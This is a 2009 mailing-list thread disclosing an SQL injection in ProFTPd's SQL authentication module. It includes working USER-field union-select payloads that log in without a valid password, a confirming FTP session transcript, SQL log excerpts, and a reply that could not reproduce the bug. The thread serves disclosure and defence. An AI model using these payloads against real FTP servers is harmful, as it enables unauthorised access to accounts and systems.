Re: Another SQL injection in ProFTPd with mod_mysql (probably postgres as well)

[Shino <shino () jenux homelinux org>]

Looks like a very serious issue to me - it works on our ProFTPD
1.3.2rc2 Server (latest stable on gentoo).

220 ProFTPD 1.3.2rc2 Server (Pumpkin) [xx.xx.xx.xx]
USER %') and 1=2 union select
1,0x24312452565a583533784324716a304d4d6b4670426b4b486177644264756634392f,uid,gid,homedir,shell
from ftp #
331 Password required for %')
PASS 1
230 User %') and 1=2 union select
1,0x24312452565a583533784324716a304d4d6b4670426b4b486177644264756634392f,uid,gid,homedir,shell
from ftp # logged in

SQL log output:
query "SELECT username, password, uid, gid, homedir, shell FROM ftp
WHERE (username='{UNKNOWN TAG}') and 1=2 union select
1,0x24312452565a583533784324716a304d4d6b4670426b4b486177644264756634392f,uid,gid,homedir,shell
from ftp #') LIMIT 1"

> Hi,
>
> On Tue, 2009-02-10 at 19:49 +0000, gat3way () gat3way eu wrote:
> > Just found out a problem with proftpd's sql authentication. The
> > problem is easily reproducible if you login with username like:
> Could you please provide the version number which is affected by this?
> Running ProFTPD Version: 1.3.0 (stable) on Linux (Debian etch) I
> cannot reproduce your report.
>
> > USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users;
> > -- 
> >
> > and a password of "1" (without quotes).
> >
> > which leads to a successful login. Different account logins can be
> > made successful using the limit clase (e.g appending "LIMIT 5,1"
> > will make you login with as the 5th account in the users table).
> >
> > As far as I can see in the mysql logs the query becomes:
> > SELECT userid, passwd, uid, gid, homedir, shell FROM users WHERE
> > (userid='{UNKNOWN TAG}') and 1=2 union select
> > 1,1,uid,gid,homedir,shell from users limit 1,1; -- ') LIMIT 1
> I can see proper escaping even when varying the SQL code provided.
> Here the MySQL log excerpt:
>
> SELECT username, password, uid, gid, homedir, shell FROM ftp WHERE
> (username='USER%\') and 1=2 union select 1,1,uid,gid,homedir,shell
> from ftp; --') LIMIT 1
>
> SELECT username, password, uid, gid, homedir, shell FROM ftp WHERE
> (username='USER %\') and 1=2 union select 1,1,uid,gid,homedir,shell
> from ftp; --') LIMIT 1
>
> SELECT username, password, uid, gid, homedir, shell FROM ftp WHERE
> (username='% \') and 1=2 union select 1,1,uid,gid,homedir,shell from
> ftp; --')  LIMIT 1
>
> SELECT username, password, uid, gid, homedir, shell FROM ftp WHERE
> (username='%\') and 1=2 union select 1,1,uid,gid,homedir,shell from
> ftp; --') LIMIT 1
>
>
> > I think the problem lies in the handling of the "%" character
> > (probably that's some way to sanitize input to avoid format string
> > things?).
> >
> > Anyway, %' effectively makes the single quote unescaped and that
> > eventually allows for an SQL injection during login.
> Did you inform the developers directly? I would be happy to get an
> update on this issue. 
>
>
> Best,
> Daniel